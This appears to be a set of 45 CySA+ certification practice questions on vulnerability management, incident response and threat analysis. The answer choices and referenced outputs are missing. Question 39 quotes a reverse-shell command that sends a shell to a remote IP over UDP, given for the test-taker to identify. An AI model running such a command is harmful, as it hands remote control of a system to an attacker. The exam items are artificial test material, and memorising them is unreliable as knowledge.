CompTIA Cybersecurity Analyst (CySA+) Certification Exam: CS0-002 VS CS0-003

1. A recent zero-day vulnerability is being actively exploited, requires no user interaction or privilege escalation, and has a significant impact to confidentiality and integrity but not to availability.

Which of the following CVE metrics would be most accurate for this zero-day threat?

2. Which of the following tools would work best to prevent the exposure of PII outside of an organization?

3. An organization conducted a web application vulnerability assessment against the corporate website, and the following output was observed:

Which of the following tuning recommendations should the security analyst share?

4. Which of the following items should be included in a vulnerability scan report? (Choose two.)

5. The Chief Executive Officer of an organization recently heard that exploitation of new attacks in the industry was happening approximately 45 days after a patch was released.

Which of the following would best protect this organization?

6. A security analyst recently joined the team and is trying to determine which scripting language is being used in a production script to determine if it is malicious.

Given the following script:

Which of the following scripting languages was used in the script?

7. A company's user accounts have been compromised. Users are also reporting that the company's internal portal is sometimes only accessible through HTTP, other times; it is accessible through HTTPS.

Which of the following most likely describes the observed activity?

8. The Company shall prioritize patching of publicly available systems and services over patching of

internally available system.

According to the security policy, which of the following vulnerabilities should be the highest priority to patch?

A)

B)

C)

D)

9. Which of the following will most likely ensure that mission-critical services are available in the event of an incident?

10. The Chief Information Security Officer wants to eliminate and reduce shadow IT in the enterprise. Several high-risk cloud applications are used that increase the risk to the organization.

Which of the following solutions will assist in reducing the risk?

11. An incident response team receives an alert to start an investigation of an internet outage. The outage is preventing all users in multiple locations from accessing external SaaS resources. The team determines the organization was impacted by a DDoS attack.

Which of the following logs should the team review first?

12. A malicious actor has gained access to an internal network by means of social engineering. The actor does not want to lose access in order to continue the attack.

Which of the following best describes the current stage of the Cyber Kill Chain that the threat actor is currently operating in?

13. An analyst finds that an IP address outside of the company network that is being used to run network and vulnerability scans across external-facing assets.

Which of the following steps of an attack framework is the analyst witnessing?

14. An incident response analyst notices multiple emails traversing the network that target only the administrators of the company. The email contains a concealed URL that leads to an unknown website in another country.

Which of the following best describes what is happening? (Choose two.)

15. During security scanning, a security analyst regularly finds the same vulnerabilities in a critical application.

Which of the following recommendations would best mitigate this problem if applied along the SDLC phase?

16. An analyst is reviewing a vulnerability report and must make recommendations to the executive team. The analyst finds that most systems can be upgraded with a reboot resulting in a single downtime window. However, two of the critical systems cannot be upgraded due to a vendor appliance that the company does not have access to.

Which of the following inhibitors to remediation do these systems and associated vulnerabilities best represent?

17. The security team reviews a web server for XSS and runs the following Nmap scan:

Which of the following most accurately describes the result of the scan?

18. Which of the following is the best action to take after the conclusion of a security incident to improve incident response in the future?

19. A security analyst received a malicious binary file to analyze.

Which of the following is the best technique to perform the analysis?

20. An incident response team found IoCs in a critical server. The team needs to isolate and collect technical evidence for further investigation.

Which of the following pieces of data should be collected first in order to preserve sensitive information before isolating the server?

21. Which of the following security operations tasks are ideal for automation?

22. An organization has experienced a breach of customer transactions.

Under the terms of PCI DSS, which of the following groups should the organization report the breach to?

23. Which of the following is the best metric for an organization to focus on given recent investments in SIEM, SOAR, and a ticketing system?

24. A company is implementing a vulnerability management program and moving from an on-premises environment to a hybrid IaaS cloud environment.

Which of the following implications should be considered on the new hybrid environment?

25. A security alert was triggered when an end user tried to access a website that is not allowed per organizational policy. Since the action is considered a terminable offense, the SOC analyst collects the authentication logs, web logs, and temporary files, reflecting the web searches from the user's workstation, to build the case for the investigation.

Which of the following is the best way to ensure that the investigation complies with HR or privacy policies?

26. Which of the following is the first step that should be performed when establishing a disaster recovery plan?

27. A technician identifies a vulnerability on a server and applies a software patch.

Which of the following should be the next step in the remediation process?

28. The analyst reviews the following endpoint log entry:

Which of the following has occurred?

29. A security program was able to achieve a 30% improvement in MTTR by integrating security controls into a SIEM. The analyst no longer had to jump between tools.

Which of the following best describes what the security program did?

30. Due to reports of unauthorized activity that was occurring on the internal network, an analyst is performing a network discovery. The analyst runs an Nmap scan against a corporate network to evaluate which devices were operating in the environment.

Given the following output:

Which of the following choices should the analyst look at first?

31. When starting an investigation, which of the following must be done first?

32. Which of the following describes how a CSIRT lead determines who should be communicated with and when during a security incident?

33. A new cybersecurity analyst is tasked with creating an executive briefing on possible threats to the organization.

Which of the following will produce the data needed for the briefing?

34. An analyst notices there is an internal device sending HTTPS traffic with additional characters in the header to a known-malicious IP in another country.

Which of the following describes what the analyst has noticed?

35. A security analyst is reviewing a packet capture in Wireshark that contains an FTP session from a potentially compromised machine. The analyst sets the following display filter: ftp. The analyst can see there are several RETR requests with 226 Transfer complete responses, but the packet list pane is not showing the packets containing the file transfer itself.

Which of the following can the analyst perform to see the entire contents of the downloaded files?

36. A SOC manager receives a phone call from an upset customer. The customer received a vulnerability report two hours ago: but the report did not have a follow-up remediation response from an analyst.

Which of the following documents should the SOC manager review to ensure the team is meeting the appropriate contractual obligations for the customer?

37. Which of the following phases of the Cyber Kill Chain involves the adversary attempting to establish communication with a successfully exploited target?

38. A company that has a geographically diverse workforce and dynamic IPs wants to implement a vulnerability scanning method with reduced network traffic.

Which of the following would best meet this requirement?

39. A security analyst detects an exploit attempt containing the following command:

sh -i >& /dev/udp/10.1.1.1/4821 0>$l

Which of the following is being attempted?

40. An older CVE with a vulnerability score of 7.1 was elevated to a score of 9.8 due to a widely available exploit being used to deliver ransomware.

Which of the following factors would an analyst most likely communicate as the reason for this escalation?

41. An analyst is reviewing a vulnerability report for a server environment with the following entries:

Which of the following systems should be prioritized for patching first?

42. A company is in the process of implementing a vulnerability management program, and there are concerns about granting the security team access to sensitive data.

Which of the following scanning methods can be implemented to reduce the access to systems while providing the most accurate vulnerability scan results?

43. A security analyst is trying to identify anomalies on the network routing.

Which of the following functions can the analyst use on a shell script to achieve the objective most accurately?

44. There are several reports of sensitive information being disclosed via file sharing services. The company would like to improve its security posture against this threat.

Which of the following security controls would best support the company in this scenario?

45. Which of the following is the best way to begin preparation for a report titled "What We Learned" regarding a recent incident involving a cybersecurity breach?